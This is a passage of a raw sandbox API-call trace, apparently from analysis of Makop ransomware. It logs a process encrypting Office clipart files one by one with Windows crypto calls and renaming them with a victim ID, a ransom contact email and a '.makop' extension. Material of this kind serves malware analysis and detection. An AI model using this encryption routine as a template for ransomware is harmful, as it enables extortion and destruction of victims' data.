[0106.844] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0106.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.845] GetProcessHeap () returned 0x48a0000 [0106.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.845] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0106.849] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.849] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.849] GetProcessHeap () returned 0x48a0000 [0106.849] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.849] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.849] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.850] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.850] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.850] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.851] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.851] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.851] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6cd2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6cd2, lpOverlapped=0x0) returned 1 [0106.853] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6ce0, dwBufLen=0x6ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6ce0) returned 1 [0106.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.853] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6ce0, lpOverlapped=0x0) returned 1 [0106.854] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.854] SetEndOfFile (hFile=0xf0) returned 1 [0106.862] GetProcessHeap () returned 0x48a0000 [0106.862] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.862] GetProcessHeap () returned 0x48a0000 [0106.862] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.862] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.865] CloseHandle (hObject=0xf0) returned 1 [0106.865] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0106.865] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0106.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.866] GetProcessHeap () returned 0x48a0000 [0106.866] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.866] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.866] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.866] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0106.870] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.871] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.871] GetProcessHeap () returned 0x48a0000 [0106.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.871] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.871] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.871] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.871] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.871] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.872] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.872] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.873] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.873] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xea2, lpOverlapped=0x0) returned 1 [0106.873] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xeb0) returned 1 [0106.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.873] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xeb0, lpOverlapped=0x0) returned 1 [0106.873] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.874] SetEndOfFile (hFile=0xf0) returned 1 [0106.880] GetProcessHeap () returned 0x48a0000 [0106.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.880] GetProcessHeap () returned 0x48a0000 [0106.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.881] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.882] CloseHandle (hObject=0xf0) returned 1 [0106.882] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0106.883] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0106.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.883] GetProcessHeap () returned 0x48a0000 [0106.883] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.883] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.883] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.884] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.889] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.889] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.889] GetProcessHeap () returned 0x48a0000 [0106.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.889] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.889] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.891] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.891] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.891] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16cc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16cc, lpOverlapped=0x0) returned 1 [0106.892] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16d0) returned 1 [0106.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.893] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16d0, lpOverlapped=0x0) returned 1 [0106.893] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.893] SetEndOfFile (hFile=0xf0) returned 1 [0106.900] GetProcessHeap () returned 0x48a0000 [0106.900] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.901] GetProcessHeap () returned 0x48a0000 [0106.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.901] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.902] CloseHandle (hObject=0xf0) returned 1 [0106.902] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0106.902] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0106.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.903] GetProcessHeap () returned 0x48a0000 [0106.903] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.903] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.903] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0106.908] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.908] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.908] GetProcessHeap () returned 0x48a0000 [0106.908] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.908] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.908] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.910] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.910] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.910] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbc4, lpOverlapped=0x0) returned 1 [0106.910] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd0) returned 1 [0106.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbd0, lpOverlapped=0x0) returned 1 [0106.910] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.911] SetEndOfFile (hFile=0xf0) returned 1 [0106.917] GetProcessHeap () returned 0x48a0000 [0106.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.918] GetProcessHeap () returned 0x48a0000 [0106.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.918] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 